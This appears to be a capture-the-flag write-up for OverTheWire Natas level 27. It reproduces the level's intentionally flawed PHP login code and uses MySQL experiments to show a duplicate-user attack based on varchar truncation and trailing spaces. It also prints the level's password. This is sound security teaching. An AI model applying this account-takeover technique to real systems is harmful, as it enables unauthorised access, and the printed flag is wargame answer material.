OverTheWire: Natas

Level 27 > Level 28

natas27-01

<html>
<head>[...]</head>
<body>
<h1>natas27</h1>
<div id="content">
<?

// morla / 10111
// database gets cleared every 5 min 


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){
 
    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!  
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);
   

    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }        
    } 
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

This application is pretty simple. You enter a username and password and if that combo already exists, it displays them back to you. If the username is correct but the password is wrong, you get an error. And finally, if the username doesn’t exist, the application creates said user with the supplied password.

Every piece of user submitted data goes through mysql_real_escape_string() before inclusion in a SQL statement. I spent a pretty long time reading about how to bypass that before I started looking at other possibilities.

One very peculiar detail that jumped out at me was the fact that the dumpData function contains a while loop for iterating multiple results. There’s no explanation for this since the expectation is that usernames are unique given the logic of the login and user creation process. This is pretty big hint that our aim will be to create a duplicate user for natas28.

But first an aside about MySQL… consider the following table, identical to the one used by this challenge but with the varchar length reduced to 4.

mysql> describe users;
+----------+------------+------+-----+---------+-------+
| Field    | Type       | Null | Key | Default | Extra |
+----------+------------+------+-----+---------+-------+
| username | varchar(4) | YES  |     | NULL    |       |
| password | varchar(4) | YES  |     | NULL    |       |
+----------+------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

Using the same SQL syntax as the createUser function, create a user.

mysql> INSERT INTO users (username,password) values ('u','p1');
Query OK, 1 row affected (0.01 sec)

mysql> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| u        | p1       |
+----------+----------+
1 row in set (0.01 sec)

Do it again but use a name with a trailing space.

mysql> INSERT INTO users (username,password) values ('u ','p2');
Query OK, 1 row affected (0.01 sec)

mysql> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| u        | p1       |
| u        | p2       |
+----------+----------+
2 rows in set (0.00 sec)

Is the space still there?

mysql> select * from users where username='u';
+----------+----------+
| username | password |
+----------+----------+
| u        | p1       |
| u        | p2       |
+----------+----------+
2 rows in set (0.00 sec)

It doesn’t appear so. Let’s check the lengths…

mysql> select username,LENGTH(username) from users;
+----------+------------------+
| username | LENGTH(username) |
+----------+------------------+
| u        |                1 |
| u        |                2 |
+----------+------------------+
2 rows in set (0.00 sec)

OK, not what I expected. So the space is there but it doesn’t count when we ran select * from users where username='u';? Bizarre.

What happens if we insert a name that’s longer than the max size?

mysql> INSERT INTO users (username,password) values ('abcdefghijk','p3');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| u        | p1       |
| u        | p2       |
| abcd     | p3       |
+----------+----------+
3 rows in set (0.00 sec)

Excess length on an insert is truncated.

Combining these two tidbits… what if a string is truncated, after which what remains contains trailing spaces? Are those removed? Are they counted in comparisons? This username is u, 5 spaces, and another u.

mysql> INSERT INTO users (username,password) values ('u     u','p4');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from users where username='u';
+----------+----------+
| username | password |
+----------+----------+
| u        | p1       |
| u        | p2       |
| u        | p4       |
+----------+----------+
3 rows in set (0.00 sec)

mysql> select username,LENGTH(username) from users;
+----------+------------------+
| username | LENGTH(username) |
+----------+------------------+
| u        |                1 |
| u        |                2 |
| abcd     |                4 |
| u        |                4 |
+----------+------------------+
4 rows in set (0.00 sec)

Cool! The string is truncated AND the trailing spaces are there but oddly not counted when we try to match just u.

So, the plan: insert a second natas28 user into the database by appending enough spaces to exceed varchar(64), then log in using that second natas28. Logging into our natas28 should work because validUser only checks the username and checkCredentials will pass given any username/password match in the database (ours included).

In previous POST’s Firefox sent spaces over as ‘+’ symbols so I’ll mimic that and use a blank password.

natas27-02

Done. Back in the browser, login as natas28 with a blank password.

natas27-03

Score.

JWwR438wkgTsNKBbcJoowyysdM82YjeF

One final note, why the trailing character after all the spaces? We need validUser to fail on our second natas28 in order to trigger createUser, which it will not with only trailing spaces.

mysql> select * from users where username='u       ';
+----------+----------+
| username | password |
+----------+----------+
| u        | p1       |
| u        | p2       |
| u        | p4       |
+----------+----------+
3 rows in set (0.01 sec)

mysql> select * from users where username='u       u';
Empty set (0.00 sec)

I’m pretty confident I understand the behavior here but not the reasons. The trailing spaces behavior is very funky.